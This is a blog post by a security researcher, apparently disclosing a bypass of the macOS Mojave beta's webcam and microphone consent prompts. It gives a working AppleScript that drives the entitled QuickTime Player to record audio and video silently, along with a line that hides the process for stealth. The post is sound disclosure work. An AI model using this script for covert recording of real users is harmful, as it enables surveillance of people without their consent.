Breaking macOS Mojave Beta

does apple adequately protect the webcam and mic? ...no







love these blog posts? support my tools & writing on patreon :)





In the



Thus this attack should be mitigated when macOS Majove ships! Hooray. Update:In the "Your Apps and the Future of macOS Security" WWDC session - Apple states that the final (i.e. non-beta) version of macOS Mojave will prompt for applications that attempt to control (or script) other applications (discussion is at 13:45 in the presentation).Thus this attack should be mitigated when macOS Majove ships! Hooray.

Background

On Monday, Apple announced the latest version of macOS: Mojave (10.14) and released a beta (

18A293u

). I decided to play around with it today.From a security point of view, one of the most interesting features of Mojave is new 'access controls' on user data, and devices such as the microphone and webcam:This is a welcomed security feature, as malware often surreptitiously accesses the mic or the webcam (as well as sensitive user data). For example, the author of the infamous OSX/FruitFly malware spied on Mac users (including children) for over a decade via their webcams. Yikes!Other examples of Mac malware that accessed the webcam and/or mic includes OSX/Mokes:Also OSX/Eleanor:..and OSX/Crisis (HackingTeam):Moreover yours truly recently described an attack , which would allow Mac malware to piggyback on legitimate webcam sessions to secretly record mac users without detection!We all known Apple hates bad press - so in Mojave, they (finally?) decided to do something about this. Hooray!

Mac Mojave's Mic/Webcam Protections

In macOS Mojave (10.14), Apple states that "".This is implemented by extending existing macOS capabilities, such as entitlements and the accessibility/privacy database (

tcc

). Specifically, if an application does not have the

kTCCServiceMicrophone

or

kTCCServiceCamera

values in the

com.apple.private.tcc.allow

entitlement, the OS will block the mic or webcam, and alert the user, requesting explicit permissions.This is easy to test! Simply run any 'unentitled' application or command-line utility that attempts to access either the mic or webcam. Here, we're running videosnap via the Terminal. As expected Mojave will prompt for webcam access (note: artist rendering):...and mic access (note: artist rendering):Clicking 'Don't Allow' will add the process (in this case

Terminal.app

) to the accessibility database (

TCC.db

# fs_usage -w -f filesystem stat64 /Users/user/Library/Application Support/com.apple.TCC/TCC.db-journal tccd.2978 stat64 /Users/user/Library/Application Support/com.apple.TCC/TCC.db-wal tccd.2978 RdData[A] /Users/user/Library/Application Support/com.apple.TCC/TCC.db tccd.2978 guarded_open_np F=5 /Users/user/Library/Application Support/com.apple.TCC/ TCC.db-journal tccd.2978 guarded_pwrite_np F=5 B=0x200 tccd.2978

):In the UI, we can see that the

Terminal.app

has been added to the "Privacy" pane, in the

System Preferences.app

. As the checkbox remains unchecked (we clicked 'Don't Allow'), mic and webcam access is denied (note: artist rendering):Ok, looking good! Seems to work as advertised.

Breaking Mojave's Mic/Webcam Protections

I'm generally skeptical of Apple's claims about their new security features, as they are often trivially broken:Will history repeat itself with Mojave? At least in this beta, the answer is yes. Let's show how it's still trivial to (programmatically) record off the webcam or mic, neatly sidestepping Apple's new data protections!As previously mentioned if an application does not have the

kTCCServiceMicrophone

or

kTCCServiceCamera

values in the

com.apple.private.tcc.allow

entitlement, the OS will block the mic or webcam access and alert the user. Does this mean if an application has such entitlements it will be able to access these devices without a prompt? ...yes!For example, Apple's

FaceTime.app

codesign -d --entitlements - /Applications/FaceTime.app Executable=/Applications/FaceTime.app/Contents/MacOS/FaceTime <?xml version="1.0" encoding="UTF-8"?> <plist version="1.0"> <dict> <key>com.apple.private.tcc.allow</key> <array> <string>kTCCServiceAddressBook</string> <string>kTCCServiceReminders</string> <string>kTCCServiceMicrophone</string> <string>kTCCServiceCamera</string> </array> ...

possesses such entitlements:If you open FaceTime on Mojave, no alert is shown to the user, yet the application can access both the webcam and microphone. Ah the powers of entitlements!Of course as the

com.apple.private.tcc.allow

is an

com.apple.private

codesign -d --entitlements - /Applications/Quicktime Player.app Executable=/Applications/Quicktime Player.app/Contents/MacOS/Quicktime Player <?xml version="1.0" encoding="UTF-8"?> <plist version="1.0"> <dict> <key>com.apple.private.tcc.allow</key> <array> <string>kTCCServiceMicrophone</string> <string>kTCCServiceCamera</string> </array> ...

entitlement, one cannot arbitrarily add it random (malicious) applications. However, if we can programmatically utilize an Apple binary that has these entitlements, we can record off the webcam or mic without an alert. Ah the powers of entitlements!One such application is the venerable QuickTime Player. First, let's confirm it has the necessary entitlement(s):Yups, looks good:

kTCCServiceMicrophone

and

kTCCServiceCamera

Now, to programmatically interface with Quicktime Player, we can utilize

AppleScript

on run argv set movieName to item 1 of argv set delaySeconds to item 2 of argv set filePath to (path to desktop as text) & movieName set f to a reference to file filePath tell application "QuickTime Player" set newMovieRecording to new movie recording tell newMovieRecording start delay delaySeconds pause save newMovieRecording in f stop close newMovieRecording end tell end tell end run

. Below is a script (grabbed from StackOverflow ) which will record both video and audio from the webcam/mic...via the entitled Quicktime Player:Save this script, then run it via

osascript

//capture 10 seconds of audio/video to 'capture.mov' $ osascript goHomeMojaveYouDrunk.scpt capture.mov 10

Since

Quicktime Player.app

Perhaps add the following to the AppleScript:

set visible of process "Quicktime Player" to false

Or better yet, execute the attack 'invisibly':









love these blog posts & tools? you can support them via patreon ! Mahalo :)

is sufficiently entitled, the code will be able to record both audio and video without generating an alert...hope you're wearing pants at the moment!...my dog was not:I'll be the first to admit this is not the most l33t bypass, but hey it bypasses one of Mojave's foundational security features. And best yet, it utilizes all legitimate functionality of the OS (versus some trivially patchable bug).And if you want to make the attack more stealthy, the following should help make it even more difficult to detect:Note that when recording off the webcam, the LED indicator light will still come on! This is a separate mitigation that is rather difficult to bypass (though the 'piggy-back' attack can be utilized).So what do to? Well, they say "". With Apple, seems wiser to simply skip the trust part and go straight to verifying! And maybe this is just a limitation of the beta...Let's end with some good news: the free OverSight utility will generically detect this attack, alerting you anytimeapplication access either the webcam or microphone. ♡♡♡Ok bedtime! 😴